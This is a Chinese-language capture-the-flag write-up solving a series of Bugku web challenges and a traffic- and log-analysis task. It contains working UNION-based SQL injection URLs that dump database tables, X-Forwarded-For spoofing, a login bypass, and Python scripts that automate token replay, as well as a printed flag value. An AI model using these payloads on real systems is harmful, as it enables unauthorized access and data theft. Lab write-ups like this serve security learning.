ctf论剑场-web
web26
代码审计发现,传入参赛num为数字并且str为字符串就会输出flag (if语句过滤了str的十进制和空字符,is_numeric 检测输入是否为数字)
http://123.206.31.85:10026/?num=1&&str=a
web1
关于payload的说发有很多说法的有的说这个extract()函数能对已有变量进行值覆盖,但是我自己的解释还是觉得突破点在file_get_contents()函数,这个函数本是用来读取文件的,但是现在读取的是一个字符串,所以这个函数返回到$c的值就为空,所以此时应该传入a参数的值为空来拿到flag
http://123.206.31.85:10001/?a=&c=aaa
流量分析
https://new.bugku.com/upload/流量分析.rar
打开流量包,发现大量的telnet然后就过滤telnet,然后找一个包追踪tcp流发现密码为flag
web2
要求在3秒内计算出结果,所以我们要用到python
web5
http://6fe97759aa27a0c9.bugku.com/
打开发现页面有一个flag点击(flag不在这),看到url有传参,尝试sql注入
order by 发现有4个字段,
[http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='web5'](http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='web5')
有3个表flag,posts,users
[http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='flag'](http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='flag')
flag字段
[http://6fe97759aa27a0c9.bugku.com/?mod=read&id=-1 union select 1,2,concat(flag),6 from flag --](http://6fe97759aa27a0c9.bugku.com/?mod=read&id=-1 union select 1,2,concat(flag),6 from flag --)
得flag
web6
要求本地登陆(X-Forwarded-For:127.0.0.1),然后发现网页最后又一段base64加密值,拿去解密去尝试发现是登陆密码
web11
看到提示robots,进入robots.txt,又提示shell.php文件,再次访问,看到
substr(md5(), 0, 6) = 4b2a33
要求某个值的MD5值的前6位
web13
http://123.206.31.85:10013/index.php
用BP抓包看看
发现Password和Hint有点东西,Password去base64解密flag{a2e3bddc52c9b95a56e45a930dc2192c}提交是错误的,然后再看Hint内容后,尝试讲Password解密后传入
推断需要获取Password内容解密后传入才能得到flag,速度要快
import requests
import base64
url = 'http://123.206.31.85:10013/index.php'
r = requests.session()
r1 = r.post(url, data = {'password':'flag'})
Password = r1.headers['Password']
password = str(base64.b64decode(Password), 'utf-8')
print(password)
r2 = r.post(url, data = {'password':password})
print(r2.text)
日志审计
打开下载的日志文件,查看flag发现有sqlmap爆破的内容,发现每一段最后就是%3D后面,–的前面的数值不一样,只是数值,猜是ASCII值
然后把这些相关的内容复制到一个txt文件,用python去提取解密
import re
f = open("log.txt")
line = 1
while line:
line = f.readline()
if line != '':
left = re.search('%3D',line).end()
right = re.search('--',line).start()
print(chr(int(line[left:right])),end='')
f.close()
web18
http://123.206.31.85:10018/list.php?id=1
打开页面,单引号报错, --+回显正常
然后查询字段,发现怎么查询都不回显,猜测有过滤,采用双写绕过,发现4的时候报错,字段为3
爆表名,爆列名,爆字段内容
web20
将获取到的密文,通过参数key传入,然后获取flag
import time
import hashlib
import requests
import random
def get_token(src):
md5str = src
m1 = hashlib.md5()
m1.update(md5str.encode("utf-8"))
token = m1.hexdigest()
return token
s = requests.session()
urllen = 160
while urllen==160:
url = 'http://123.206.31.85:10020/?key=' + str(get_token(str(int(time.time()+1)))) + str(random.randint(0, 9))
html = s.get(url).text
urllen = len(html)
print(url)
print(html)
web25
有一个xiazai可是点击报错
看到源码,去掉/2试试看,结果发现可以访问
把获取的内容去提交看看,发现不对
然后没啥思路了,去扫描网站看看
访问shell.php
把ziidian.txt内容一个一个提交,发现返回flag
web3
图片上传,传个图片马,发现一直没有结果,最后看到op=upload有可能是文件包含
最后去base64解密下,得到flag
web4
http://123.206.31.85:10004/index.php
打开是登陆界面,登陆后就能看到flag
直接尝试万能用户或者密码
直接成功登陆,获得flag
Web8
404????,bp抓包看下
hint提示vim 那肯定和vim非正常关闭有关,vim非正常关闭会产生swp
所以http://123.206.31.85:10015/index.php?id=swp&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#
url中id要改为swp,还要把1改为i。